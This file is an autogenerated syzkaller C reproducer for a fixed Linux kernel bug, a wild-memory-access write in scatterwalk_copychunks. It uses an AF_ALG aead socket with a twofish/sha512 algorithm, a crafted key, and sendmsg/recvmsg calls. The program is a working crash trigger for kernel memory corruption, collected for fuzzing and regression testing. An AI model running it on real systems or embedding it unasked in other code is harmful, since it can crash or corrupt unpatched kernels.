syzkaller-repros/linux/159d03c53cb4c57b1a3b2f29373271bc2536b4df.c

// KASAN: wild-memory-access Write in scatterwalk_copychunks
// https://syzkaller.appspot.com/bug?id=159d03c53cb4c57b1a3b2f29373271bc2536b4df
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>

#include <stdint.h>
#include <string.h>

long r[2];
void loop()
{
  memset(r, -1, sizeof(r));
  syscall(__NR_mmap, 0x20000000, 0xf88000, 0x3, 0x32, 0xffffffff, 0x0);
  r[0] = syscall(__NR_socket, 0x26, 0x5, 0x0);
  *(uint16_t*)0x206be000 = 0x26;
  memcpy((void*)0x206be002,
         "\x61\x65\x61\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
         14);
  *(uint32_t*)0x206be010 = 0x0;
  *(uint32_t*)0x206be014 = 0x1f;
  memcpy((void*)0x206be018,
         "\x72\x66\x63\x37\x35\x33\x39\x28\x63\x74\x72\x28\x74\x77\x6f"
         "\x66\x69\x73\x68\x29\x2c\x73\x68\x61\x35\x31\x32\x2d\x67\x65"
         "\x6e\x65\x72\x69\x63\x29\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
         "\x00\x00\x00\x00",
         64);
  syscall(__NR_bind, r[0], 0x206be000, 0x58);
  memcpy((void*)0x201ec000, "\x0a\x07\x75\xb0\xd5\xe3\x83\xe5\xb3\xb6"
                            "\x0c\xed\x5c\x54\xdb\xb7\x29\x5d\xf0\xdf"
                            "\x82\x17\xad\x40\x00\x00\x00\x00\x00\x00"
                            "\x00\xe6",
         32);
  syscall(__NR_setsockopt, r[0], 0x117, 0x1, 0x201ec000, 0x20);
  r[1] = syscall(__NR_accept, r[0], 0x0, 0x0);
  *(uint64_t*)0x20861fc8 = 0x0;
  *(uint32_t*)0x20861fd0 = 0x0;
  *(uint64_t*)0x20861fd8 = 0x202c4000;
  *(uint64_t*)0x20861fe0 = 0x1;
  *(uint64_t*)0x20861fe8 = 0x20f77000;
  *(uint64_t*)0x20861ff0 = 0x0;
  *(uint32_t*)0x20861ff8 = 0x0;
  *(uint64_t*)0x202c4000 = 0x20f82000;
  *(uint64_t*)0x202c4008 = 0x10;
  memcpy((void*)0x20f82000, "\x91\x26\x9d\xf3\x22\xae\x38\x4b\xb8\xb8"
                            "\xc9\xd2\xf3\x68\x1e\x70",
         16);
  syscall(__NR_sendmsg, r[1], 0x20861fc8, 0x0);
  *(uint64_t*)0x2022efc8 = 0x20f74000;
  *(uint32_t*)0x2022efd0 = 0x10;
  *(uint64_t*)0x2022efd8 = 0x20892fb0;
  *(uint64_t*)0x2022efe0 = 0x1;
  *(uint64_t*)0x2022efe8 = 0x208adfba;
  *(uint64_t*)0x2022eff0 = 0x46;
  *(uint32_t*)0x2022eff8 = 0x0;
  *(uint64_t*)0x20892fb0 = 0x2000bf7c;
  *(uint64_t*)0x20892fb8 = 0x84;
  syscall(__NR_recvmsg, r[1], 0x2022efc8, 0x0);
}

int main()
{
  loop();
  return 0;
}